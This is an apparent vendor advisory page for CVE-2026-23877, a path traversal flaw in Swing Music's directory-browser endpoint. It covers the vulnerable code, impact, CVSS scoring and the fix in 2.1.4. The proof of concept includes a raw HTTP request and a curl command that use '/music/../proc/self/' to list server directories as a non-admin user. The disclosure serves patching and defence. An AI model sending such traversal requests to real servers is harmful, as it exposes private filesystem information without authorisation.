Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-23877 — swing-music

🟡 CVSS 4.3 — Medium ⚠️ Exploit Public CWE-25 NVD
4.3
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Swing Music has a Directory Traversal & Filesystem can be accessed by a non-admin user

Summary

Swing Music's list_folders() function in the /folder/dir-browser endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.

Details

The @api.post("/dir-browser") endpoint lacks proper path validation and authorization checks:

  • No authorization requirement: Any authenticated user can access the endpoint
  • Improper path handling: The code attempts to prepend "/" to non-existent paths but this doesn't prevent traversal:

```python

req_dir = pathlib.Path("../../../../etc") # → PosixPath('../../../../etc')

if not req_dir.exists(): # → False

req_dir = "/" / req_dir # → PosixPath('/../../../../etc')

```

PoC

1. Create a non-admin user

2. Authenticate as a non-admin user

3. Send the following request:

```

POST /folder/dir-browser HTTP/1.1

Host: IP:1970

Content-Type: application/json

Cookie: access_token_cookie=non-admin-access-token

Connection: keep-alive

{"folder":"/music/../proc/self/", "tracks_only":false}

```

```bash

curl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \

--data-binary $'{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}' \

$'http://IP:1970/folder/dir-browser'

```

4. The response will list directories from /proc/self instead of restricting to user-accessible paths:

```

HTTP/1.1 200 OK

Content-Type: application/json

Content-Length: 466

Vary: Accept-Encoding

Connection: Keep-Alive

{"folders":[{"name":"attr","path":"/music/../proc/self/attr"},{"name":"cwd","path":"/music/../proc/self/cwd"},{"name":"fd","path":"/music/../proc/self/fd"},{"name":"fdinfo","path":"/music/../proc/self/fdinfo"},{"name":"map_files","path":"/music/../proc/self/map_files"},{"name":"net","path":"/music/../proc/self/net"},{"name":"ns","path":"/music/../proc/self/ns"},{"name":"root","path":"/music/../proc/self/root"},{"name":"task","path":"/music/../proc/self/task"}]}

```

Impact

Information Disclosure:

  • Server filesystem structure and layout
  • Configuration file locations and names
  • User account names from directory listings
  • Software versions and installed packages
  • Log file locations and system paths

Additional Risks:

  • Preparation for further attacks (LFI, RCE)
  • Bypass of access control mechanisms
  • Exposure of sensitive directory structures

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2026-23877 is classified as CWE-25: Path Traversal: '/../filedir'. The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/../" sequences that can resolve to a location that is outside of that directory.

Affected software

CVE-2026-23877 is recorded against 2 packages.

  • swing-music (fixed in 2.1.4)
  • swingmusic (fixed in 2.1.4)

Timeline and source

Published on 19 January 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com

Same weakness in other software

These advisories are the same class of weakness (CWE-25: Path Traversal: '/../filedir') in other software:

Details

Severity MEDIUM
CVSS Score 4.3
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
CWE CWE-25
Public Exploit ⚠️ Yes
Source NVD
Published 2026-01-19
Updated 2026-08-20
Modified 2026-06-17

Affected Packages

Software From version Fixed in
swing-music — 2.1.4
swingmusic — 2.1.4

Exploit Protection

Are you running swing-music?

CVE-2026-23877 carries CVSS 4.3 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-23877 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓